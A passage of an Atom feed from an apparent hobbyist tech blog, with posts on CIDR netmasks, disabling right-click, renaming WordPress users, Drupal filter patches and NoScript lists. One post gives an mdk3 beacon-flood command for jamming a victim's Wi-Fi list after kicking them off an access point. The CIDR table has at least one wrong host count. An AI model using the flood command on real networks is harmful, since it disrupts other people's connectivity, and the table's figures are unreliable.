&lt;table border=&quot;0&quot; width=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#336666&quot; height=&quot;2&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=&quot;#99CCCC&quot;&gt;Class&lt;/td&gt;
&lt;td bgcolor=&quot;#99CCCC&quot;&gt;Address&lt;/td&gt;
&lt;td bgcolor=&quot;#99CCCC&quot;&gt;# of Hosts&lt;/td&gt;
&lt;td bgcolor=&quot;#99CCCC&quot;&gt;Netmask (Binary)&lt;/td&gt;
&lt;td bgcolor=&quot;#99CCCC&quot;&gt;Netmask (Decimal)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#336666&quot; height=&quot;2&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/4&lt;/td&gt;
&lt;td&gt;240,435,456&lt;/td&gt;
&lt;td&gt;11110000 00000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;240.0.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/5&lt;/td&gt;
&lt;td&gt;134,217,728&lt;/td&gt;
&lt;td&gt;11111000 00000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;248.0.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/6&lt;/td&gt;
&lt;td&gt;67,108,864&lt;/td&gt;
&lt;td&gt;11111100 00000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;252.0.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/7&lt;/td&gt;
&lt;td&gt;33,554,432&lt;/td&gt;
&lt;td&gt;11111110 00000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;254.0.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;/8&lt;/td&gt;
&lt;td&gt;16,777,216&lt;/td&gt;
&lt;td&gt;11111111 00000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.0.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/9&lt;/td&gt;
&lt;td&gt;8,388,608&lt;/td&gt;
&lt;td&gt;11111111 10000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.128.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/10&lt;/td&gt;
&lt;td&gt;4,194,304&lt;/td&gt;
&lt;td&gt;11111111 11000000 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.192.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/11&lt;/td&gt;
&lt;td&gt;2,097,152&lt;/td&gt;
&lt;td&gt;11111111 11100000 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.224.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/12&lt;/td&gt;
&lt;td&gt;1,048,576&lt;/td&gt;
&lt;td&gt;11111111 11110000 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.240.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/13&lt;/td&gt;
&lt;td&gt;524,288&lt;/td&gt;
&lt;td&gt;11111111 11111000 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.248.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/14&lt;/td&gt;
&lt;td&gt;262,144&lt;/td&gt;
&lt;td&gt;11111111 11111100 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.252.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/15&lt;/td&gt;
&lt;td&gt;131,072&lt;/td&gt;
&lt;td&gt;11111111 11111110 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.254.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;td&gt;/16&lt;/td&gt;
&lt;td&gt;65,534&lt;/td&gt;
&lt;td&gt;11111111 11111111 00000000 00000000&lt;/td&gt;
&lt;td&gt;255.255.0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/17&lt;/td&gt;
&lt;td&gt;32,768&lt;/td&gt;
&lt;td&gt;11111111 11111111 10000000 00000000&lt;/td&gt;
&lt;td&gt;255.255.128.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/18&lt;/td&gt;
&lt;td&gt;16,384&lt;/td&gt;
&lt;td&gt;11111111 11111111 11000000 00000000&lt;/td&gt;
&lt;td&gt;255.255.192.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/19&lt;/td&gt;
&lt;td&gt;8,192&lt;/td&gt;
&lt;td&gt;11111111 11111111 11100000 00000000&lt;/td&gt;
&lt;td&gt;255.255.224.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/20&lt;/td&gt;
&lt;td&gt;4,096&lt;/td&gt;
&lt;td&gt;11111111 11111111 11110000 00000000&lt;/td&gt;
&lt;td&gt;255.255.240.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/21&lt;/td&gt;
&lt;td&gt;2,048&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111000 00000000&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;255.255.248.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/22&lt;/td&gt;
&lt;td&gt;1,024&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111100 00000000&lt;/td&gt;
&lt;td&gt;255.255.252.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/23&lt;/td&gt;
&lt;td&gt;512&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111110 00000000&lt;/td&gt;
&lt;td&gt;255.255.254.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;/24&lt;/td&gt;
&lt;td&gt;256&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 00000000&lt;/td&gt;
&lt;td&gt;255.255.255.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/25&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 10000000&lt;/td&gt;
&lt;td&gt;255.255.255.128&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/26&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 11000000&lt;/td&gt;
&lt;td&gt;255.255.255.192&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/27&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 11100000&lt;/td&gt;
&lt;td&gt;255.255.255.224&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/28&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 11110000&lt;/td&gt;
&lt;td&gt;255.255.255.240&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/29&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 11111000&lt;/td&gt;
&lt;td&gt;255.255.255.248&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#99CCCC&quot; height=&quot;1&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CIDR&lt;/td&gt;
&lt;td&gt;/30&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;11111111 11111111 11111111 11111100&lt;/td&gt;
&lt;td&gt;255.255.255.252&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;5&quot; bgcolor=&quot;#336666&quot; height=&quot;2&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;http://www.iplocation.net/tools/ip-address.php &lt;a href=&quot;http://www.iplocation.net/tools/netmask.php&quot;&gt;read more netmask&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;http://www.iplocation.net/tools/ip-address.php&quot;&gt;read more ipaddress&lt;/a&gt;&lt;/p&gt;</content>
<published>2015-12-17T13:39:00+00:00</published>
<updated>2015-12-17T13:39:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/6'/>
<id>https://wirelessarmy.theproject1.com/6</id>
<author><name>admin</name></author>
</entry> <entry>
<title>disable right click on html</title> 
<content type='html'>want to sell some art work but scared that people with right click and save the image by right clicking? just disable the function by adding the fallowing code on to your html head tag.
&lt;pre&gt;&amp;lt;script language=JavaScript&amp;gt; var message=&quot;Function Disabled!&quot;; function clickIE4(){ if (event.button==2){ alert(message); return false; } } function clickNS4(e){ if (document.layers||document.getElementById&amp;amp;&amp;amp;!document.all){ if (e.which==2||e.which==3){ alert(message); return false; } } } if (document.layers){ document.captureEvents(Event.MOUSEDOWN); document.onmousedown=clickNS4; } else if (document.all&amp;amp;&amp;amp;!document.getElementById){ document.onmousedown=clickIE4; } document.oncontextmenu=new Function(&quot;alert(message);return false&quot;) &amp;lt;/script&amp;gt;&lt;/pre&gt;
and/or disable the copy and past by adding the fallowing line to you body tag
&lt;pre&gt;ondragstart=&quot;return false&quot; onselectstart=&quot;return false&quot;&lt;/pre&gt;
and this one will disable right click only on images but there is some way around it. It will protect you from general public but if some one really wants they can save the image.
&lt;pre&gt;&amp;lt;script language=JavaScript&amp;gt; var message=&quot;Function Disabled!&quot;; function clickIE4(){ if (event.button==2){ alert(message); return false; } } function clickNS4(e){ if (document.layers||document.getElementById&amp;amp;&amp;amp;!document.all){ if (e.which==2||e.which==3){ alert(message); return false; } } } if (document.layers){ document.captureEvents(Event.MOUSEDOWN); document.onmousedown=clickNS4; } else if (document.all&amp;amp;&amp;amp;!document.getElementById){ document.onmousedown=clickIE4; } document.oncontextmenu=new Function(&quot;alert(message);return false&quot;) &amp;lt;/script&amp;gt;&lt;/pre&gt;</content>
<published>2015-12-16T09:14:00+00:00</published>
<updated>2015-12-16T09:14:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/23'/>
<id>https://wirelessarmy.theproject1.com/23</id>
<author><name>admin</name></author>
</entry> <entry>
<title>change your wordpress username using mysql</title> 
<content type='html'>&lt;p&gt;if you use wordpress you should heard that new botnet was attaking most wordpress sites and only with 99 bots it could get in to your wordpress.&lt;/p&gt;
&lt;p&gt;My first&amp;nbsp;suggestion&amp;nbsp;is to change your password on on a schedule(monthly 3 months or …)&lt;/p&gt;
&lt;p&gt;but the other thing is it easy to brutforce any thing that you already know the username or password but it seam that some web hostings don’t let you to change the admin username so here is a way around to do that.&lt;br&gt;
&lt;img src=&quot;/images/blog/wordpress-change username.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;find the mysql properties.&lt;/li&gt;
&lt;li&gt;go to the phpmyadmin place.&lt;/li&gt;
&lt;li&gt;select your wordpress database.&lt;/li&gt;
&lt;li&gt;got to the wp_users table&lt;/li&gt;
&lt;li&gt;click on browse tab&lt;/li&gt;
&lt;li&gt;change the&amp;nbsp;user_login from admin to any username that you want to type for login&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;if on the wordpress dashboard settings you&amp;nbsp;chose&amp;nbsp;to show the name of the one who post it will not show your new username&amp;nbsp;because it will show the&amp;nbsp;user_nicename or display_name from the mysql tables.&lt;/p&gt;</content>
<published>2015-12-15T20:13:00+00:00</published>
<updated>2015-12-15T20:13:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/53'/>
<id>https://wirelessarmy.theproject1.com/53</id>
<author><name>admin</name></author>
</entry> <entry>
<title>generate unvalide access points</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/jd_bjk3to_U&quot; width=&quot;450&quot; height=&quot;338&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;after you kicked of the victim of your access point you don&amp;rsquo;t want to have that windows open next to your stuff so you will just generate some invalid access points so he/she can&amp;rsquo;t find you access point again(the list will stop showing all the access point after it reached at some number)&lt;/p&gt;
&lt;p&gt;so just:&lt;/p&gt;
&lt;pre&gt;mdk3 mon0 b&lt;/pre&gt;</content>
<published>2015-12-15T16:52:00+00:00</published>
<updated>2015-12-15T16:52:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/84'/>
<id>https://wirelessarmy.theproject1.com/84</id>
<author><name>admin</name></author>
</entry> <entry>
<title>binary to text</title> 
<content type='html'>if you want to get the text version of a binary you can use the code bellow:
&lt;pre&gt;#!/usr/bin/env python

BITS = (&#039;0&#039;, &#039;1&#039;)
ASCII_BITS = 7

def seq_to_bits(seq):
    return [0 if b == &#039;0&#039; else 1 for b in seq]

def bits_to_char(b):
    assert len(b) == ASCII_BITS
    value = 0
    for e in b:
        value = (value * 2) + e
    return chr(value)

def list_to_string(p):
    return &#039;&#039;.join(p)

def bits_to_string(b):
    return &#039;&#039;.join([bits_to_char(b[i:i + ASCII_BITS]) 
                    for i in range(0, len(b), ASCII_BITS)])


bittostring = raw_input(&quot;Enter something: &quot;)
print bits_to_string(seq_to_bits(bittostring))&lt;/pre&gt;</content>
<published>2015-12-15T13:07:00+00:00</published>
<updated>2015-12-15T13:07:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/44'/>
<id>https://wirelessarmy.theproject1.com/44</id>
<author><name>admin</name></author>
</entry> <entry>
<title>noscript black and white list</title> 
<content type='html'>&lt;p&gt;As our trust to the 3ed part site becomes lower we need to make them stop running scripts with our computer. That problem was solved with some of browser extensions. our favorite: noscript.&lt;/p&gt;
&lt;p&gt;But the problem is how do we find out which site we can trust which is just malware?&lt;/p&gt;
&lt;p&gt;so for that I put a white and black list that you can add to your noscript lists, in options under the white/black list tab. If you know some other sites that we can trust or if you want to add your site just comment blow. (but PLEASE READ OLDER comment because i don&amp;rsquo;t like to have 100 comments saying google.com)&lt;/p&gt;
&lt;p&gt;white list&lt;/p&gt;
&lt;script type=&quot;text/javascript&quot;&gt;// &lt;![CDATA[
    function selectText(containerid) {
        if (document.selection) {
            var range = document.body.createTextRange();
            range.moveToElementText(document.getElementById(containerid));
            range.select();
        } else if (window.getSelection) {
            var range = document.createRange();
            range.selectNode(document.getElementById(containerid));
            window.getSelection().addRange(range);
        }
    }
// ]]&gt;&lt;/script&gt;
&lt;pre id=&quot;selectable&quot;&gt;ableton.com
acer.com
starbucks.com
starbucks.ca
adobe.com
afitness.ca
amazon.com
amazonaws.com
apple.com
aspnetcdn.com
auth.gfx.ms
automontrealservice.com
bestbuy.ca
bestbuy.com
bing.com
bitcoinplus.com
bizspark.com
blessthisstuff.com
brightcove.com
cineplex.com
cisco.com
citrixonline.com
citrixonlinecdn.com
cloudfront.net
cnet.com
coinbase.com
css-tricks.com
discovery.com
disney.com
disqus.com
doubleclick.net
dreamspark.com
drupal.org
e3expo.com
engadget.com
eventbrite.com
fancy.com
feedly.com
firefox.com
forbes.com
forbesimg.com
geekbeat.tv
getpocket.com
github.com
gizmodo.com
goo.gl
google.ca
google.co.uk
google.com
googleapis.com
googletagmanager.com
googletagservices.com
gotowebinar.com
gravatar.com
gstatic.com
hak5.org
hootsuite.com
hotmail.com
images-amazon.com
instructables.com
intel.com
ipage.com
jivesoftware.com
jquery.com
jquerymobile.com
kickstarter.com
libreoffice.org
licdn.com
linkedin.com
linuxmint.com
live.com
livefilestore.com
meetup.com
meetupstatic.com
microsoft.com
mint.com
mozilla.org
msecnd.net
myhabit.com
mynokiablog.com
netflix.com
newegg.ca
newegg.com
newwegg.com
noip.com
nokia.com
odesk.com
odeskcdn.com
office.net
oneall.com
p.sfx.ms
paypal.com
persona.org
pluralsight.com
qualcomm.com
rapid7.com
raspberrypi.org
rbc.com
rbcroyalbank.com
revision3.com
royalbank.com
s-msft.com
shopify.com
skype.com
slideshare.net
slidesharecdn.com
sony.com
soundcloud.com
sourceforge.net
squarespace.com
ssl-images-amazon.com
stanford.edu
synaptive.net
teamcoco.com
teamcococdn.com
techcrunch.com
technobuffalo.com
testtube.com
thefancy.com
thenextweb.com
thenokiablog.com
theverge.com
tout.com
twimg.com
tweetdeck.com
twitter.com
ubi.com
ubuntu.com
udacity.com
vimeo.com
vimeocdn.com
w3.org
w3schools.com
wbshop.com
webmaker.org
wikia.com
winscp.net
wirelessarmy.com
wwe.com
xbox.com
yahooapis.com
yimg.com
youtoo.com
youtube.com
ytimg.com&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; blacklist&lt;/p&gt;
&lt;pre&gt;[&#039;facebook.com&#039;]&lt;/pre&gt;</content>
<published>2015-12-15T12:22:00+00:00</published>
<updated>2015-12-15T12:22:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/12'/>
<id>https://wirelessarmy.theproject1.com/12</id>
<author><name>admin</name></author>
</entry> <entry>
<title>filter by categories</title> 
<content type='html'>&lt;style&gt;
  strong {
  color: lightcoral;
  }
&lt;/style&gt;
if you are using drupal 7 you and you are using taxonomy to categories your content, on the admin tab you may want to be able to filter your corrent content by categories like you can on joomla.&lt;br&gt;
that is just few lines of code that you can add.&lt;br&gt;
to the file /modules/node/node.admin.inc on the line 134 you can change it like this(color one is the new lines that you should add)&lt;br&gt;
&lt;pre&gt;
function node_build_filter_query(SelectQueryInterface $query) {
  // Build query
  $filter_data = isset($_SESSION[&#039;node_overview_filter&#039;]) ? $_SESSION[&#039;node_overview_filter&#039;] : array();
  foreach ($filter_data as $index =&gt; $filter) {
    list($key, $value) = $filter;
    switch ($key) {&lt;strong&gt;
      case &#039;term&#039;:
         $alias = $query-&gt;join(&#039;taxonomy_index&#039;, &#039;ti&#039;, &quot;n.nid = %alias.nid&quot;);
         $query-&gt;condition($alias . &#039;.tid&#039;, $value);
      break;&lt;/strong&gt;
      case &#039;status&#039;:
        // Note: no exploitable hole as $key/$value have already been checked when submitted
        list($key, $value) = explode(&#039;-&#039;, $value, 2);
      case &#039;type&#039;:
      case &#039;language&#039;:
        $query-&gt;condition(&#039;n.&#039; . $key, $value);
        break;
    }
  }
}&lt;/pre&gt;
&lt;br&gt;
and on the line 109 
&lt;pre&gt;
if ($languages = module_invoke(&#039;locale&#039;, &#039;language_list&#039;)) {
    $languages = array(LANGUAGE_NONE =&gt; t(&#039;Language neutral&#039;)) + $languages;
    $filters[&#039;language&#039;] = array(
      &#039;title&#039; =&gt; t(&#039;language&#039;),
      &#039;options&#039; =&gt; array(
        &#039;[any]&#039; =&gt; t(&#039;any&#039;),
      ) + $languages,
    );
  }&lt;strong&gt;
  // The taxonomy filter
  if ($taxonomy = module_invoke(&#039;taxonomy&#039;, &#039;form_all&#039;)) {
   $filters[&#039;term&#039;] = array(
      &#039;title&#039; =&gt; t(&#039;category&#039;),
      &#039;options&#039; =&gt; array(&#039;[any]&#039; =&gt; t(&#039;any&#039;)) + $taxonomy
    );
  }&lt;/strong&gt;
  return $filters;
}&lt;/pre&gt;&lt;br&gt;
and for the file /modules/taxonomy/taxonomy.module at the line 2012
&lt;pre&gt;
function taxonomy_taxonomy_term_delete($term) {
  if (variable_get(&#039;taxonomy_maintain_index_table&#039;, TRUE)) {
    // Clean up the {taxonomy_index} table when terms are deleted.
    db_delete(&#039;taxonomy_index&#039;)-&gt;condition(&#039;tid&#039;, $term-&gt;tid)-&gt;execute();
  }

}&lt;strong&gt;
// new lines
function taxonomy_form_all() {
  $vocabularies = taxonomy_get_vocabularies();
  $options = array();
  foreach ($vocabularies as $vid =&gt; $vocabulary) {
    $tree = taxonomy_get_tree($vid);
    if ($tree &amp;&amp; (count($tree) &gt; 0)) {
      $options[$vocabulary-&gt;name] = array();
      foreach ($tree as $term) {
        $options[$vocabulary-&gt;name][$term-&gt;tid] = str_repeat(&#039;-&#039;, $term-&gt;depth) . $term-&gt;name;
      }
    }
  }
  return $options;
}&lt;/strong&gt;&lt;/pre&gt;</content>
<published>2015-12-10T10:47:00+00:00</published>
<updated>2015-12-10T10:47:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/57'/>
<id>https://wirelessarmy.theproject1.com/57</id>
<author><name>admin</name></author>
</entry> </feed>